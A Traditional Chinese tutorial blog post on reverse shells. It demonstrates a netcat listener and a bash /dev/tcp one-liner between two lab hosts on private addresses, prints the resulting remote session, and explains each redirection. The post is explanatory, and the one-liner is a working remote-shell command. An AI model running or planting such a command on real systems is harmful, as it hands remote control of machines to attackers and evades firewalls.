反彈SHELL介紹及原理
如果我們需要到伺服器上執行 Shell 命令,但是因為防火牆等原因,無法由客戶端主動發起連接的情況,就可以使用反彈 Shell 來滿足登陸和操作的需求。
什麼是反彈Shell
正常情況下,我們登陸伺服器獲取 Shell 會話是下面的步驟,用戶在終端軟體(Terminal)中輸入 ssh root@ip 登陸目標機器,登陸成功後即可以開始Shell操作。

反彈Shell(Reverse Shell),顧名思義是指與正常的 sshd 服務相反,由控制端監聽,被控制端發起請求到監聽埠,並將其命令行的輸入輸出轉到控制端。

實戰介紹
準備兩台網路連通的伺服器:
- 控制端:172.16.51.130
- 被控端:172.16.51.128
控制端監聽一個埠
$ nc -lvp 8888
listening on [any] 8888 ...
被控端生成一個反彈 Shell
$ bash -i >& /dev/tcp/172.16.51.130/8888 0>&1 2>&1
這時注意觀察控制端,會出現被控端的 shell 提示符
172.16.51.128: inverse host lookup failed: Host name lookup failure
connect to [172.16.51.130] from (UNKNOWN) [172.16.51.128] 47584
tiago@lampiao:~$ whoami
whoami
tiago
tiago@lampiao:~$ hostname
hostname
lampiao
tiago@lampiao:~$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:cc:9b:c6 brd ff:ff:ff:ff:ff:ff
inet 172.16.51.128/24 brd 172.16.51.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fecc:9bc6/64 scope link
valid_lft forever preferred_lft forever
在提示符下輸入命令,可以看到確實是在被管機上執行的命令及返回的結果,就像我們登陸到了被管機一樣。
具體解釋如下:
$ nc -lvp 8888
使用 nc 命令在控制端監聽埠,-l 表示監聽 -p 表示埠。
$ bash -i >& /dev/tcp/172.16.51.130/8888 0>&1 2>&1
# bash -i 表示進入一個互動式的Shell環境
# >& 表示將互動式Shell發送給後續的文件,並且將&聯合符號後面的內容也發送到重定向
# /dev/tcp/172.16.51.130/8888 實際是 `bash` 實現的用來實現網路請求的一個介面。打開這個文件就相當於發出了一個socket調用並建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。
# 0>&1 表示將標準的輸入與標準輸出相結合,都發給重定向文件
# 2>&1 表示將標準輸出和標準錯誤輸出都發送到socket文件中,即我們能夠在控制端看到命令的返回,在被控端看不到相關資訊。
上面的命令聯合起來意思就是,我們在被管機上產生了一個 bash 環境,將它發送給了遠程的控制主機,同時將被管機的標準輸入、標準輸出、標準錯誤輸出都發送給了控制主機,這樣實現了獲取被管主機 shell 執行環境的目的。
本文介紹的是最簡單的一種反彈shell實現方式,反彈shell還有很多種的實現方式,實現的思路應該都差不多,等稍後整理出來與大家分享。

